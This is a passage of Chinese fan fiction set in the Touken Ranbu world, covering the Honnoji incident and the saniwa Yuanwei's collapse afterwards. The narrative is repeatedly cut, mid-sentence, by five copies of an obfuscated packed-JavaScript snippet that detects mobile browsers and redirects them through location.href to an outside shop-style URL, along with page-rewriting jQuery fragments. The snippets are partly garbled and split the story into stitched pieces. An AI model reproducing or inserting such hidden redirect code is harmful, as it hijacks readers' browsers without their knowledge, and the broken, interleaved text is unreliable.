“暂时就先这样,走吧,我们先一步到本能寺。”鸢尾凝脂般的手从鹤丸国永的嘴唇上放下,拿起放在桌上的三指手套戴上。黑色的皮手套显得她的手和手腕越发白皙,就像一段凝结的月光。 —— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13639289|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屋内灯影幢幢,饮酒作乐声不绝。 “好!好棋!”众人围观案上所摆着的棋局,发出惊叹。 “哈哈哈,三劫连环无胜负局——这可真是罕见啊。”连织田信长也抚掌称奇。 房檐上趴着的药研藤四郎透过缝隙看清了里面的情境,偏过头给了旁边的宗三一个眼神。接着,两人从屋顶上跳下来,并未惊动屋内的任何人,就像两只悄无声息的猫。 “没发现问题。”药研言简意赅。 “这样躲躲藏藏的,可真是不体面啊。”为了隐蔽,烛台切光忠蹲在草丛里,借着夜色掩盖自己的身影。他两条修长有力的腿略显委屈地蜷缩在一起,枝头落叶挂在发间也暂时无暇顾及。 “哈哈哈,这也是为了给时间溯行军一个惊喜嘛!”一身白的鹤丸国永显然更加显眼,为此,压切长谷部还在他身上多堆了几丛树枝。此时,他的声音闷闷的从树枝下传来,配合着这里幽暗的氛围,要是有巡逻至此的士兵,说不定还会被吓一大跳。 而鸢尾并没有和他们在一起。因为使用的是弓箭,她和狐之助另外找了个开阔较高的地方。 “主人会不会也在偷偷观察我们呢?”说着,鹤丸国永把自己的好奇心引了出来。他轻轻拨开身上的树枝,想扭过身看看能不能找到鸢尾的位置。 “喂,别乱动啊!”后面的压切长谷部赶紧压住他,压低着声音,“就算主人在看我们,那也是在观察我们的表现。不要用‘偷偷’这样的词!” 鹤丸国永:“知道啦,长谷部君。”他又挪回原来的位置,小声地嘟囔,“不知道还要等多久呢,我的腿都要蹲麻了,到时候时间溯行军一出现,我们不会站都站不起来吧?那可就是个大惊吓了。” 被他这么一打岔,大家的心情倒是没有那么沉重了。 夜深露重,空气中的水汽随着时间的推移,慢慢凝结在草叶上,有些顺着他们的发丝轻盈无声地滚落。透过窗户的光影,他们看到这场酒席已经走向了尾声。织田信长的嫡子信忠离开了,酒宴上的人也慢慢散去。最后,织田信长也被簇拥着向他休息的地方走去。 来了。他们心中闪过这样一个念头。酒终人散,历史上的一个重要转折——本能寺之变,即将在他们的眼前发生。而他们所要做的,就是和他们的主人一起,看着织田信长走向终结。 13.本能寺(3) “哒哒哒”,马匹踏过静谧无声的土路;“锵锵锵”,盔甲在行军过程中摩擦。而这两种声音都在有意的控制下被压到最小。可是这依然逃不过在这里等候多时的刀剑付丧神的耳朵。不过,他们的对手可不是明智光秀的军队,而是—— 在草丛中隐藏许久的刀齐齐向四周望去,锐利的眼神如同他们锋利的刀身,刺向不知从何处走来的、散发着阴暗不祥气息的时间溯行军。 “哈哈哈,总算来了啊。”鹤丸国永站起身,拍拍勾在衣服上的草叶,“我们可是等候多时了呢。” 不过时间溯行军可不会和他们有太多寒暄,低吼一声,就提着刀向他们冲过去。刀剑男士们也拔出自己的刀,刀身在月色的照耀下闪过一丝令人惊心寒光,与敌刀“铮”的一声抵在一起,磨出一丝火花。 “我在这里哦。”双手提刀格挡,用力一推,鹤丸国永把敌太刀推得后撤两步。待到敌太刀稳住身形,提刀再砍,面前的鹤已经不见了踪影。上方忽然传来猎猎风声,敌太刀抬头,最后一眼是在夜色中仍然白到发光的鹤,以及他熠熠生辉的金瞳。 “刺穿你!”药研藤四郎白皙有力的腿借力,踹向他面前的时间溯行军。闪着寒光的短刀划过敌人提刀的手,在敌人吃痛露出破绽时,药研藤四郎侧身,宗三左文字的刀从背后探出,趁机贯穿了这个时间溯行军。 宗三左文字把身一转,左耳耳饰上的流苏在空气中轻盈地划过一道弯弧,又在下一秒因为沾上血迹而垂下。“就是是笼中鸟,我也是不可小觑的啊。” 另一边,烛台切光忠和压切长谷部也配合默契,锋锐的刀芒一齐划过,消灭了几个敌人。 “看招!”不动行光干脆利落地解决掉一个敌打刀,刚准备去支援自己的同伴,却听见背后传来破风的声音—— “唔!” 烛台切光忠听到声音转头,发现一个埋伏在旁边的敌枪突然出现,而不动行光此时正艰难地抵挡着。 “不动!”混乱中,他与长谷部对视一眼,随即挡开面前的敌刀,长谷部旋身替上他的位置,而他则赶去支援不动行光。 趁着敌枪注意力集中在不动行光身上,烛台切光忠向敌枪横砍过去,黏腻的血液喷溅而出,敌枪还未反应过来,就已经灰飞烟灭。 “没事吧,不动?”烛台切光忠连忙上前扶起单膝跪地的不动行光。 不动行光:“没事,谢谢你了。” 烛台切还准备说些什么,却眼神一凛,朝斜前方望去。不动行光和刚好消灭完最后一个敌刀的大家也安静下来。 有人……? 他们听到有匆忙的脚步声向这里赶来。当机立断,他们又回到刚刚藏身的草丛中。 是森兰丸!蹲在最前面的不动行光透过枝叶的缝隙看到森兰丸匆匆闪过的身影。他怎么会在这里?这个时候明智光秀的军队还没有完成包围,他应该在休息才对……而且他去的方向—— 不动行光的视线顺着森兰丸走去的方向蔓延。突然,他的瞳孔一缩——森兰丸正在往信长公的寝室赶去! 怎么会?他知道了些什么?深知这并不是原来的历史的走向,不动行光顿时心乱如麻。他突然想到之前鸢尾和他们提到过的“寄生”。不会吧…… 看着森兰丸即将消失的身影,不动行光一咬牙跟了上去。 “喂,不动!”宗三左文字伸出手想拉住他,却慢了一步。 “我去看一眼,很快就回来!”不动行光丢下一句话,头也不回地追去。 剩下的刀们想跟过去,可周围的时空扭曲一瞬,竟又从中走出一大批时间溯行军。“可恶……”,被层层叠叠包围,他们心中的战意却愈发蓬勃。 “越是掩盖越有鬼啊……,你们这么心急,未免也太明显了吧?”鹤丸国永将刀架在肩上,歪头环顾了一眼,“上吧,不动和主人可都在等着我们呢。” …… 不动行光朝森兰丸跑去。 如果真的是森兰丸被时间溯行军“寄生”的话,那么时间溯行军一定会利用他去找信长公,通过保护信长公来改变历史。 他奔跑的动作一顿。 这样一来……这样一来,信长公和森兰丸是不是就不会死了? 想到这个可能,他感觉心中有什么东西松动了一下。 从诞生以来,他的愧疚和不甘埋藏在他的心里,就好像一块压在悬崖边的巨大岩石,仅仅依靠一根绳索吊着。但现在,这种可能让这个系着岩石的绳索放松了。让这个岩石掉下去,他的心就能够喘息了;可让这个岩石掉下去,这个岩石也会摔得粉身碎骨。 我该……怎么做?不动行光停下脚步,茫然地伫立在夜色中。 —— 而另一边,森兰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13660435|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丸则完全没有像不动行光一样的纠结。 他想起来了。 这段时间里他做的所有的梦,光秀大人的叛变,混乱的夜晚,和“鬼”的交易,以及他不愿意回想的……信长大人的死。那天晚上,他和突然出现在房间里的“鬼”做了一个交易,他把自己的身体给了“鬼”,在必要的时候,“鬼”会代替他,保护好信长大人。 他来不及深想为什么光秀大人会做出这样背叛信长大人的行为,也不知道“鬼”为什么要帮他。那天晚上,他与“鬼”比试过,那只“鬼”的实力远在他之上。所以……不管什么代价,也不管什么原因,只要能保护好信长大人——这样就够了。 而现在,趁着光秀大人的军队还没有完全包围这里,他要赶紧去告诉信长大人这件事。 森兰丸全力奔跑着。今天晚上的月亮时不时被厚厚的云层遮住,在他异常苍白的脸上留下明明灭灭的光。 下一瞬,他警觉地停下脚步。“谁在那!” 从背后黑暗的角落里响起轻轻的、迟疑的脚步声。他看到一个少年走了出来。 好奇怪。森兰丸皱着眉头打量着这个陌生的人。明明在他的记忆中从来没有见过这样的一张脸,而对面这个人身上穿着的衣服也很怪异,可他的心中却总有一种熟悉的感觉。 “森兰丸……”他听见对方叫出了自己的名字。 “你到底是谁?” 对方并没有回答。森兰丸看见他的嘴唇嗫喏了几下,“……你现在要去找信长公?” 听到他的反问,森兰丸警惕地把手放到腰间的刀柄上。到底是谁?他为什么会知道自己要去做什么?森兰丸记得很清楚,在自己的梦中并没有出现这样一个人。如果是要妨碍他……他握紧了刀柄,不管是谁,他都会将其斩断。 看到森兰丸的反应,不动行光越发确定他就是那个“变量”,那个被时间溯行军“寄生”的人。我该怎么办?不动行光问自己。他的手中攥着鸢尾给他的灵力球,只要捏破它,森兰丸身上的时间溯行军就会被净化,而他也会忘记现在要做的事,然后按照历史的轨迹,在明智光秀的叛乱正式开始之后,为了保护信长公而战死。 可是……可是! 不动行光的手指僵硬地松开。他的手带着微微的颤抖,把灵力球收回自己的怀里。 拜托了,能不能让我…… 14.本能寺(4) “我想……”和你一起去。一片寂静后,不动行光突然听见自己艰涩的声音。但话一出口,他感受到一阵莫名的心悸,又垂下头,闭上了嘴。我究竟该怎么做?主人…… “什么?”听见不动行光说了一半的话,森兰丸有点疑惑。他仔细观察了一下对面的少年,发现他的脸上并没有太多阻拦的意思,反而很……挣扎? 算了。森兰丸松开撑起刀柄的手,暂时放下对这个少年的戒备。时间紧迫,现在最重要的是信长大人的安全,只要对方不阻拦自己就好。而且……为什么对方总给他带来一种亲切的感觉呢?就好像他们曾经一起战斗过一样。 森兰丸摇摇头,甩开纷杂的思绪。 “我有自己的使命,请不要阻止我。”虽然不知道对方到底是谁,但森兰丸还是庄重地注视着他的眼睛,认真地劝说。接着对他微微颔首,又头也不回地走了。 使命? 森兰丸的话仿佛一盆冷水,泼醒了他。 这是以前的他一直在逃避的。使命、责任,这样的词实在是太重了,重到是像他这样的废刀承担不起来的。他知道自己就像一只没用的虫子,用酒和无所谓的态度为自己构筑了一层厚厚的茧,他躲在茧里面,就不用去回应外面寄托在他身上的期待与责任,就可以把本该由他来承担的使命暂时交付给别人。但他也明白,隔绝外面的目光并不能真正解决问题,反而会让自己的身体和心灵永远被茧内的黑暗裹挟。 可是这一次……他回头看了一眼空荡荡的背后。同伴们还没有追上来,应该是被时间溯行军拖住了;而永远会用包容的目光注视着他的主人此时也不在身边。就只有……只有我可以阻止他了。 不动行光的手握住自己的刀,他能感受到自己的手指在神经质的微微颤抖着。对不起,森兰丸。这一次,我也有我必须要完成的使命了。 不动行光利用自己机动的优势向前飞奔,在墙壁上借力,翻身飞过森兰丸,拦在他前面。 “抱歉……但是,我不能让你过去。” “是吗,”森兰丸叹一口气,拔出挂在自己腰间的刀,“那么,就试试看吧。” 不动行光也抽出自己的刀。他并不想伤害森兰丸,无论是从他自己、还是从历史的角度出发,他此时要做的,就是把森兰丸引开,在尽量不惊动信长公的前提下捏碎主人给他的灵力球,净化寄生在森兰丸身上的时间溯行军。 他扑向森兰丸,用膝盖撞向他的腹部,试图以此逼森兰丸后退。但森兰丸迅速侧身躲过,同时抓住不动行光的衣领,用刀把向他的脸部撞去。一时不备,不动行光挨了一击,闷哼一声。他利用巧劲一转,把自己的衣服从森兰丸手中解放出来,刀光一闪,在森兰丸躲开的时机退到一边。 不妙啊……他不想伤到森兰丸,也怕动静太大提前将信长公吵醒,因此打斗的时候总是束手束脚,可是森兰丸却没有这些顾虑。他一边注意着森兰丸的动作,一边疯狂地想着对策。 而森兰丸也越打越惊讶。他发现面前的这个人非常熟悉自己的招式,几乎能在自己攻击的时候就想出对策。而且他的招式和自己平时练习的招式也有异曲同工之妙……还有他的那把短刀。即使夜色不甚明朗,森兰丸也一眼就认出来了——几乎和信长大人赐予自己的那把不动行光一模一样!可是,他飞快地瞥了一眼自己的怀中,那把短刀分明还完好无损地待在里面。 就在他想要开口问清楚的时候,他听见箭矢穿空的声音。他抬头,三根金色的羽箭像流星一样,直奔着信长大人部屋的方向划过。 糟了! 他一刀划向仍阻拦着他的不动行光,在他的手臂上留下深可见骨的血痕,趁他吃痛之际飞速随着箭矢的方向奔去。 不要!!他的瞳孔缩到极致,在那一瞬间甚至失去了发出声音的能力。但是他想象中的情景并没有发生,箭矢甚至没有穿过拉门,而是在抵达织田信长部屋的时候,化为光点散开,光点凝聚成了一个金色的结界,又在下一秒消失在空气中。 他愣愣地上前,他的手刚刚触碰到消失的结界,就传来一阵钻心的疼痛。他反射性地缩回手,却看到自己的手上冒出不祥的黑气。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13667686|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这时候,他才注意到自己身体的皮肤像破碎的瓷器一样,长出了诡异的裂痕。而在这些裂痕当中,有源源不断的黑气冒出。 进不去了……他绝望地注视着仅有一步之遥的房门。在与那只“鬼”达成交易的那一刻,他也变成了“鬼”,而现在,他因为自己的选择付出了代价。 可是不甘心啊。森兰丸跪在地上,失魂落魄地盯着轻易地透过拉门、照进部屋内的那缕月光。 不甘心不甘心不甘心…… 情绪像一张黑色的蜘蛛网,将他拉入万丈深渊。他能感受到自己正在慢慢丧失对身体的控制,他艰难地抬头,用余光看到自己的手臂上、身体上,正在长出像那只“鬼”一样的骨刺。 “森兰丸!” 在失去意识的最后一秒,他听到刚刚那个少年撕心裂肺的声音。 …… “森兰丸?”不动行光看着眼前的异变,无措地喃喃。 对了,他不顾手臂的血流如注,急忙在身上翻找着。主人的灵力球,只要有灵力就能净化了…… 不动行光颤抖着拿出那颗小小的灵力球。充沛的灵力凝聚其中,给他冰冷的手带来一丝温暖。他一使劲,准备捏破它,但下一秒,它却被一根长着骨刺的尾巴卷走了。与此同时,另一根一样的尾巴朝他甩过来,长满尾巴的骨刺勾走了他手臂上的一块肉。 尾巴连接着森兰丸,不,现在已经不能算是森兰丸了,只是占着森兰丸身体的时间溯行军。不动行光被吊起来,悬在半空中。他挣扎着,却只是让骨刺越扎越深。 要……结束了吗?不动行光呼出一口带着血腥味的气。都说人在快要死的时候会看见自己过去的一生,他这个时候好像也看到了。过去,与现在交织。他看到本丸同伴们的笑脸,也看见占据森兰丸身体的可恶的时间溯行军在破坏着主人的结界;他看到那天温暖的夕阳,又在下一瞬间回到眼前昏暗的月夜。果然,像他这样的废刀,最终还是什么都保护不了,什么事情都做不好…… 主人,我不是一只蝴蝶,我是一只挣扎的、没用的虫子。 15.本能寺(完) “不动!” 有人在喊他,好像是主人的声音?还有大家…… 不动行光挣扎着睁开眼睛,额头上的血流进他的眼睛里,给视野染上怪异的红色。是主人的箭。他看见一道金色的流光向他飞来,准确无误地扎进捆着他的骨刺里。 他掉下来了,落入了一个温暖的怀抱里。 “不动……” 他能感受到主人握着他的手,正在给他传送灵力。手套是冷的,手是暖的,灵力也是暖的。“没事了,没事了……”她的手轻轻拂过他可怖的伤口,就像本丸里的风,总是轻轻拂过池塘的水面,然后水波会消失,伤口会愈合。 他恢复如初的刀被她放回自己手中,他听见鸢尾轻柔地说,“辛苦你了。不动做得很好,接下来就交给我们吧。”不知道为什么,听到这句话,他突然有一种很想落泪的感觉。 他想告诉她,不是的,他把事情弄得一团糟,他做得一点也不好……可是在眼神触碰到她的蜜色眼睛的那一秒,他的视线就模糊了。 鸢尾捋了捋他的头发,在他身上布下防御结界。嘱咐狐之助看好他,鸢尾拿起自己的弓,转身踏入战场。 其余的刀剑付丧神们正在和那个异化的时间溯行军缠斗。“寄生”在人的身上后,时间溯行军的形态发生了改变,长出多条满是骨刺的尾巴,身上覆盖着比原来更为坚硬的骨甲,攻击性也比以前更强了。但是,他的外表还是森兰丸的样子,这也意味着,伤害到骨刺之外的部分,也会伤害到森兰丸本身。 而且——是错觉吗?鸢尾感受着手心中聚起来的灵力,她总觉得自从靠近这个奇怪的时间溯行军,可供使用的外界灵力就变少了。她瞄准打斗中的时间溯行军,射出一箭,但灵箭在中途就被他的骨尾打落。 “吼——”接连被刀剑付丧神砍伤,“森兰丸”发出怒吼。在那一声过后,周围又出现了几条时空裂缝,源源不断的时间溯行军接连从里面踏出。 还好主人提前布下结界,织田信长暂时听不到外面的声音。这是大家的第一个反应。 不过……这也太多了吧?!看着乌泱泱挤了一片的时间溯行军,大家默契地露出一脸黑线,蹦出了第二个念头。 “这种程度……就算是对我们来说也是个大惊吓啊。就像下饺子一样,连庭院都快装不下了吧?”鹤丸国永解决掉一个敌人,和烛台切光忠背靠在一起,一边说着玩笑,璀璨的眼睛却死死地盯着不断冒出来的时间溯行军。 “鹤先生,这种时候还是不要开玩笑的好吧。”烛台切光忠平复着自己的呼吸。 时间溯行军层层叠叠地将他们包围,几乎都要看不见同伴的身影。压切长谷部将刀从敌太刀的体内拔出,遇到同样杀开一条路的宗三左文字。“宗三,你知道主人在哪个方向吗?” 宗三左文字身上的念珠已经沾满了潮湿黏腻的鲜红液体,随着他的动作发出沉闷的声音。“我也没看见。”虽然音色还带着他一贯的幽怨,但语气里也透露着他的着急与不安。 “该死的……还真是没完没了了啊!”压切长谷部怒喝一声,锋利的刀芒划过,连斩三敌。刚被鸢尾手入疗愈的不动行光也从地上爬起来,和药研藤四郎并肩投入战场。 而几米之外的鸢尾此时也被层层包裹住。她单手撑起结界,另一只手引咒捏诀,灵力化作飞针,刺入周围的时间溯行军体内,与他们一同湮灭。她能感受到自己供给刀剑付丧神们的灵力正在被迅速抽取,但时间溯行军却不见明显减少,而在一片嘈杂中,她注意到有炮声传来。 叛乱开始了。按照历史,接下来就是织田信长听到声音,派森兰丸出去探明情况,然后森兰丸带回明智光秀反叛的消息。 不能再这么耗下去了。她叹了口气,一把扯下脖子上充当项链的灵力抑制器,向躲在树上的狐之助扔去,“狐之助,帮我保管!” 听到鸢尾的喊话,狐之助灵巧地从树上跳下来,踩过几个时间溯行军的头,准确地叼住鸢尾扔过来的项链,然后又快步爬回原来的位置。“唔唔唔唔唔唔!”(鸢尾大人,就放心交给咱吧!) 扯下项链,果然感觉到灵力充沛地向自己涌入,没有像之前一样阻涩的感觉。鸢尾把灵力压缩到极致,形成几个大灵力球。利用灵力将灵力球托举至上空,鸢尾撤下保护自己的结界,在即将被淹没的最后一秒,右手引弦,瞄准,放箭—— 几个灵力球被灵箭一举贯穿,在夜空中无声炸开几朵金色的烟花。散落下来的细碎光点悄悄隐入时间溯行军体内,与他们一起消失在吹过来的一阵微风中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678643|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。空气中还弥漫着血腥味,但刚刚的战斗痕迹在金粉之下慢慢被抹去,被“寄生”的森兰丸身上的骨骼化也慢慢褪去,逐渐恢复正常。 几个付丧神还愣愣地盯着天空。宗三左文字抬手,金粉乖巧地落在他手上,修复着他手心里的伤。“这样看起来,就像完全被困在你的灵力中了……”说着,又暗自陷入沉默。 “这些我搞定了,剩下的就交给你们了。”鸢尾微微喘息着,示意大家向还躺在地上的森兰丸看去。 —— 一行人站在刚到来时的小山坡上,遥遥地望着本能寺冲天的火光。 “信长公……”不动行光站在鸢尾身边,低声喃喃,“为什么,明明我做了自己该做的事,履行了自己的使命,却还是这么痛苦呢?”他抬头看向鸢尾,试图找到一个答案。 鸢尾看着他迷茫的眼神,蹲下身,将他搂入怀中,“因为你变得更像人了。和作为器物而存在不一样,当你拥有人身,像人一样思考的时候,你就会有自己的情感和应负的责任。矛盾、冲突、不甘……这些原本是人才有的情绪,现在你也需要独自体会。” “好难……我还是不太明白。”这一次,不动行光也抱住了她。他闭上眼,逃避般地将自己发红发热的眼皮贴在她脖颈处的皮肤,脆弱的泪珠落入鸢尾的衣领中。 “没关系,慢慢地走、慢慢地去看吧,我们都会陪在你身边的。”鸢尾把他抱得更紧了一些,怜爱地拍拍他的背。 没有人再出声,只有风带走远处的喧嚣。 “鸢尾大人,该回去了……”在这样一片寂静中,狐之助弱弱发声。感受到周围几道向自己刺过来的目光,狐之助本就蓬松的毛炸得更厉害了。咱、咱也不想没眼色地打扰大家和鸢尾大人的相处,只是时之政府催得太紧了嘛……想是这么想,但狐之助不敢为自己发声。 “好。”鸢尾最后挼了一把不动行光的头毛,站了起来。她在站起来的时候感觉到一阵眩晕,但以为是自己蹲太久了,很快就把这感觉抛之脑后。 鸢尾:“走吧大家,我们回家了。” “是。”大家拿出随身携带的时空转换装置,同时启动按钮。 在传送的过程中,狐之助总觉得自己忘了件事。是什么呢?狐之助歪头沉思。 16.病与药 “回来了!主公大人回来了!”坐在岩融肩上的今剑看见时空转换装置被启动了,兴高采烈地从岩融宽厚的肩膀上跳下来,双手张开,像一只轻盈的小天狗一样,踩着木屐“啪嗒啪嗒”地向庭院内跑去。 “主公大人!”今剑扑进刚回来的鸢尾怀里。 “唔”鸢尾被他扑得往后一晃,在她身后的烛台切光忠赶紧扶了她一把。 “我回来啦。”鸢尾稳住自己的身形,蹲下来把暖呼呼的小天狗拥入怀中。 “哈哈哈哈,太好了,在主人出门的时候,本丸可是冷清了不少啊!”岩融站在后面,发出爽朗的笑声。“是呀是呀,我好想主公大人!”在鸢尾怀里的今剑也应和道,“主公大人不在的时候,本丸里也来了新人哦!” “这样啊。”鸢尾摸了摸今剑的头,刚站起来,眼前却一阵发黑,接着,喉咙里就涌上一阵腥甜。 糟了……虽然知道摘下项链又一次性使用大量灵力可能会给身体带来一些副作用,但鸢尾没想到后遗症来得这么快。她咽下喉咙里的血,刚准备先应付完眼前的场景再去时之政府那里找解决方法,可是没想到一开口就被呛住了。“我,咳咳,咳……” 她转身捂住嘴,但源源不断的血从喉咙里面涌出,从指缝中溢出来。猩红的液体流过素白的手指,又滴落到庭院内的石板上。 刚刚还在谈笑风生的大家被这一变故吓住了。“主,主公大人……!”离鸢尾最近的今剑紧紧地揪着鸢尾的衣袖,声音里完全无法掩盖的担忧和害怕。 “我没事,咳咳咳……”鸢尾还挣扎着想说一两句话,但一开口血就争先恐后地流出来。身体中一阵一阵的绞痛让她忍不住蹲下来蜷住身子,眼角和脸颊因为剧烈咳嗽而染上病态的嫣红。从口中流出来的血滴在她自己和小心翼翼想要查看她情况的付丧神的衣服上,就像在上面绣出朵朵红梅。血滴在衣服上可不好洗啊……她不合时宜地想到。 在晕倒前的最后一秒,她看见庭院内越聚越多的付丧神和他们惊恐的眼神,听见旁边有人在喊药研,有人在喊她,有人在喊狐之助,周围兵荒马乱,纷杂的声音就像她第一次下厨时刚烧开的汤。完蛋了,又要让大家担心了……已经能预料到自己醒来之后的“惨状”的鸢尾并不安详地闭上了眼睛。 —— 一个人的体内,怎么会流出这么多血呢? 昏暗的和室内,乱藤四郎跪坐在地上,轻柔地用温热的毛巾擦拭着鸢尾的手。他一边思考着这个问题,一边注视着鸢尾因为毛巾的热气而染上一丝淡粉色的指尖。好多血,乱藤四郎想控制住自己,不要再去回想昨天晚上的混乱,可是被揪紧的心脏又在嘲笑着他的无能为力。怎么会有这么多血,明明平时看起来那么苍白、那么脆弱,都没有多少气血,就像一次性要把所有的血都流干了一样…… 他看到自己捧着鸢尾的手也在颤抖着。拿刀的手也会颤抖吗,这是平时在战场上绝对不允许犯的错误,可现在,握着鸢尾轻飘飘的手,他感受到自己指尖传来钻心的疼痛。 不能让主人着凉。他又想起药研对他的嘱咐,丢下毛巾,小心地将鸢尾的手放回被子里面。他膝行几步,靠近无知无觉、就好像睡着了一样的鸢尾。将自己的头贴在她的脸旁,乱藤四郎像往常粘着鸢尾撒娇一样,轻轻蹭了蹭她软软的脸颊。主人,不要吓乱了,快点醒过来,好不好…… 晶莹的泪珠落下,滴落在橙与黑交汇的发丝中。 另一边的大广间中则是截然不同的氛围。 刚去时之政府汇报完情况的狐之助一踏出传送装置就被守在旁边的加州清光和大和守安定抓住,逮到了大广间。面对团团围住它,还面露不善之色,一幅找不到解决方法就要它陪葬的样子,狐之助被吓出了泪汪汪的荷包蛋眼。 它缩了缩脖子,不敢轻易开口,生怕成为点燃他们的那个火星子。 在一片令狐害怕的沉寂中,加州清光作为初始刀率先开口,“主人的情况……怎么样了?治疗的办法是什么?” “是、是!”听到终于有人开口,狐之助偷摸摸松了口气,试探地开口,“咱已经把鸢尾大人的身体扫描报告传送给时之政府了,根据分析,还是老问题,是灵力……呃!” 糟了糟了糟了!它太想尽快安抚这群看上去像下一秒就要暗堕的刀剑付丧神了,忘记鸢尾大人不让他们知道自己的灵力情况了!呜呜呜,狐之助在心中咬手帕流泪,鸢尾大人,是咱对不起你……等你醒了,你想挼咱多久都行—— 果不其然,听到它说了一半又莫名停下来的话,大家都眯起眼睛,用更加怀疑的目光盯着它。 “把话说清楚哦,你也不想随便就被首落了吧,小猫咪?”大和守安定笑眯眯地上前,掐住了它命运的后脖颈。 突然就腾空的狐之助害怕地闭上眼睛大喊,“咱都说咱都说,你先把咱放下来!” 有了这句话,大和守安定才把不停扑腾的它放回桌子上。狐之助张开一条缝,望进他明明笑着却没有丝毫笑意的湛蓝色眼睛里,被冻得一抖。 “鸢尾大人的体质特殊,这次是因为一次性吸收又释放了太多灵力,导致身体受损才会这样……反、反正,关于鸢尾大人身体的问题咱只能说这么多了,剩下的要有鸢尾大人允许才能透露!不、不许再逼咱了……”虽然越说越小声,但狐之助紧紧地闭着眼睛,一幅“死猪不怕开水烫”的样子。 “那解决方法呢?”关于这方面问题,在场的大家都默契地选择揭过。作为他们的主人/大将,鸢尾不愿告诉他们自有她的原因,纵使再担心,他们也不应该越过界限。况且,对于现在心急 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687797|143510||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如焚的他们而言,比起知道为什么,他们更想听到解决方案。 看到他们不再继续追问,狐之助也把心放回肚子里,剩下的就没什么不可以说的了。“现在就是等灵力自动修复好鸢尾大人的身体了。鸢尾大人的情况比较特殊,贸然输入外界的灵力可能会进一步刺激她,所以……” 其实鸢尾的状况还挺棘手的。说危险倒也没有看上去那么可怕,但是没有办法用常规的手段治疗。这里指的常规手段,就是时之政府以前常用的,通过一些法阵或是符咒,将外界的灵力送入审神者体内,帮助其灵力的吸收,以此达到通过灵力修复受损身体的目的。 但是鸢尾的体质太特殊了。平时什么事情都不做,灵力也会自动往她身体里挤,导致她灵力过载。这时如果再用常规手段,更多外界灵力的涌入不会帮助她恢复,反而会进一步加重她身体的受损程度。那么,在这时能起作用的只有她自身的灵力。自身的灵力从哪儿来呢,由她提供灵力而显现的刀剑付丧神就是最大的灵力源。 “所以,时之政府的意思是让你们平时多待在鸢尾大人身边,这样有助于她的灵力修复身体。但是也不要一窝蜂涌上去!近距离接触的话,一次两三个人就好了。” “这样就可以了吗?还有什么是我们能做的?”一旁的压切长谷部连忙追问。不能怪他多想,实在是鸢尾昨天晚上的样子吓到了他们。无尽的血从她体内涌出,沾到她血液的手指从指尖开始发冷发麻……这是他在这座本丸显现至今第一次感受到名为“害怕”和“绝望”的情绪。 “还有一些滋润温补的药,需要一天早晚两次给鸢尾大人服用。”狐之助从自己背后的小背包中掏出一张药方,递给一旁的药研藤四郎。 药研藤四郎快速浏览过了一遍药方,“有一些药材本丸里没有,我需要去万屋购买。” “我跟你一起去。”迫切想要为鸢尾做点什么的压切长谷部急忙应道。众人商议了一番,最后决定由药研藤四郎,压切长谷部和小狐丸去买药材,剩下的人该当番的当番,该出阵远征的就听从近侍的安排,在鸢尾休息的时候做好一切,才能让她安心修养。而剩下暂时没有安排的人,就可以先到鸢尾的身边去照顾。 本丸的人数并没有很多,这样一安排就只剩下刚刚就待在鸢尾身边的乱藤四郎以及显现不久、从刚才起就一直安静地待在人群背后的源氏兄弟。 